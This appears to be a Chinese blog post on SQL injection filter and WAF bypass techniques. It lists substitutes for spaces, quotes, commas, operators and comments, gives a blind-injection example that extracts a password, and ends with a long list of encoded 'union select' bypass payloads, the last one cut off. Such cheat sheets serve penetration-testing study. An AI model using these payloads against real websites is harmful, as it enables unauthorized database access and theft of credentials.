SQL注入--绕过技巧

参考自

基本绕过方法

  1. 大小写
  2. 双写
  3. 编码,如URLEncode编码,ASCII编码绕过
  4. 内敛注释

空格绕过

在这里插入图片描述

  1. 用注释替换空格
    select/**/user,password/**/from /**/users;
  2. 空格url编码%20
  3. 两个空格代替一个空格
  4. 用Tab代替空格
  5. %a0=空格
  6. 如果空格被过滤,括号没有被过滤,可以用括号绕过
    select(user())from dual where(1=1)and(2=2)
  7. 回车

引号绕过

  1. 使用十六进制
    例如:
    select column_name from information_schema.columns where table_name='users';
    如引号被过滤,就可以尝试使用十六进制来进行绕过
    在这里插入图片描述

即可以将语句写为:
select column_name from information_schema.columns where table_name=0x7573657273;

  1. 还有一个办法(前提是已经得知数据库名称和表名,例如dvwa和users):

select column_name from information_schema.columns where table_schema=database();
查询所在数据库中的所有列名,然后
可以猜或者尝试得知哪些字段在哪个表中,然后:
select username,password from users;

  1. 宽字节注入

逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号

  1. 对于substr()和mid()这两个方法可以使用from的方式来解决:
    select substr(database() from 1 for 1);

  2. 使用join
    union select 1,2 可以使用下面的句子代替
    union select * from (select 1)a join (select 2)b

  3. 使用like
    select ascii(mid(user(),1,1))=80 可以使用下面的句子代替
    select user() like 'r%'

  4. limit中,使用offset绕过
    limit 1offset0


or and xor not绕过

  1. 利用符号替换and = && or=|| xor=| not=!
  2. 在敏感词中添加注释:an/**/d
  3. 双写绕过oorr
  4. 大小写变形
  5. 编码

注释符绕过

  1. id=1' union select 1,2,3 or '1'='1 即虽然无法使用注释符,但是可以闭合掉他
    或者:id=1' union select 1,2,'3
  2. 最后添加or 1'
  3. 最后添加 and '1'='1

等于号绕过

  1. 使用like
  2. 使用!<>,因为<>是不等于
  3. regrep (正则表达匹配)

<>被过滤

  1. greatest(),least()
  2. strcmp(str1,str2),第一个参数小于第二个参数,返回-1,否则为1
  3. in,between a and b

等价函数

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

union select 绕过


#WAF Bypassing Strings:
 
 /*!%55NiOn*/ /*!%53eLEct*/
 
 %55nion(%53elect 1,2,3)-- -
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 /**//*!12345UNION SELECT*//**/
 
 /**//*!50000UNION SELECT*//**/
 
 /**/UNION/**//*!50000SELECT*//**/
 
 /*!50000UniON SeLeCt*/
 
 union /*!50000%53elect*/
 
 +#uNiOn+#sEleCt
 
 +#1q%0AuNiOn all#qa%0A#%0AsEleCt
 
 /*!%55NiOn*/ /*!%53eLEct*/
 
 /*!u%6eion*/ /*!se%6cect*/
 
 +un/**/ion+se/**/lect
 
 uni%0bon+se%0blect
 
 %2f**%2funion%2f**%2fselect
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 REVERSE(noinu)+REVERSE(tceles)
 
 /*--*/union/*--*/select/*--*/
 
 union (/*!/**/ SeleCT */ 1,2,3)
 
 /*!union*/+/*!select*/
 
 union+/*!select*/
 
 /**/union/**/select/**/
 
 /**/uNIon/**/sEleCt/**/
 
 /**//*!union*//**//*!select*//**/
 
 /*!uNIOn*/ /*!SelECt*/
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 +UnIOn%0d%0aSeleCt%0d%0a
 
 UNION/*&test=1*/SELECT/*&pwn=2*/
 
 un?+un/**/ion+se/**/lect+
 
 +UNunionION+SEselectLECT+
 
 +uni%0bon+se%0blect+
 
 %252f%252a*/union%252f%252a /select%252f%252a*/
 
 /%2A%2A/union/%2A%2A/select/%2A%2A/
 
 %2f**%2funion%2f**%2fselect%2f**%2f
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 /*!UnIoN*/SeLecT+
 
##
#
#
#Union Select by PASS with Url Encoded Method:
 
   %55nion(%53elect)
 
   union%20distinct%20select
 
   union%20%64istinctRO%57%20select
 
   union%2053elect
 
   %23?%0auion%20?%23?%0aselect
 
   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
 
   %55nion %53eLEct
 
   u%6eion se%6cect
 
   unio%6e %73elect
 
   unio%6e%20%64istinc%74%20%73elect
 
   uni%6fn distinct%52OW s%65lect
 
   %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
   
  • 6
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值